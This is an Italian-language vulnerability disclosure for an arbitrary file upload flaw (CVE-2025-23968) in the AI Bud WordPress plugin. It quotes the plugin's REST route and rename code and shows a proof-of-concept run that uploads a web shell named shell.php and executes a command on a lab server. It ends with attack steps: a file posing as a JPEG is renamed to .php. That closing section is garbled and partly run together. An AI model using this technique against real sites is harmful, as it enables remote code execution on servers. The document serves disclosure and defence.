
Caricamento arbitrario di file in AI Bud – Generatore di contenuti AI, Chatbot AI, ChatGPT, Gemini, GPT-4o <= 1.8.4
Il plugin AI Bud espone un endpoint API REST /wp-json/ai-buddy/v1/wp/attachments che consente di caricare file nella libreria multimediale di WordPress. La logica di gestione dei file dell'endpoint contiene una funzionalità di rinomina che si attiva dopo la validazione del tipo di file e consente all'attaccante di rinominare il file caricato con qualsiasi estensione (inclusa .php), permettendo agli amministratori o a ruoli superiori di caricare file arbitrari e potenzialmente ottenere l'esecuzione di codice sul server.
Viene fornito un POC cve-2025-23968.py per dimostrare come un amministratore possa caricare una web shell denominata shell.php.
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr
<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
inet 127. 0. 0. 1 / 8 scope host lo
valid_lft forever preferred_lft forever
inet 6 :: 1 / 128 scope host
valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
valid_lft 75700 sec preferred_lft 75700 sec
inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
valid_lft 86174 sec preferred_lft 14174 sec
inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
valid_lft forever preferred_lft forever
inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
valid_lft forever preferred_lft forever
</pre>
Il plugin registra le sue rotte API REST in /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php
Le righe 250-284 registrano la rotta REST per l'endpoint /wp/attachments. La funzione di callback è definita come create_attachment:
register_rest_route(
$namespace,
'/wp/attachments',
array(
'methods' => 'POST',
'permission_callback' => array( AuthGate::class, 'authorized'
),
'callback' => array( $this, 'create_attachment' ),
'args' => array(
'title' => array(
'required' => true,
'type' => 'string',
),
'caption' => array(
'required' => true,
'type' => 'string',
),
'alt' => array(
'required' => true,
'type' => 'string',
),
'description' => array(
'required' => true,
'type' => 'string',
),
'url' => array(
'required' => true,
'type' => 'string',
),
'filename' => array(
'required' => false,
'type' => 'string',
),
),
La funzione create_attachment è definita alla riga 709 e la logica di rinomina inizia alla riga 744. Come si può vedere nel frammento sottostante, se viene specificato il parametro $filename, questo può essere utilizzato per rinominare un allegato esistente (non sanitizzato):
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
$file = get_attached_file( $attachment_id, true );
$dir = dirname( $file );
$new_file = $dir. '/'. $filename;
if ( file_exists( $new_file ) ) {
$new_file = $dir. '/'. uniqid(). '-'. $filename;
}
$this->move_file( $file, $new_file );
update_attached_file( $attachment_id, $new_file );
}
L'attacco di rinomina .php
FF D8 FF E0..jpg./wp-json/ai-buddy/v1/wp/attachments con:
1.url: l'URL di shell.jpg
2.filename:shell.php/wp-content/uploads/YEAR/MONTH/shell.php ed esegue codice
PHP arbitrario.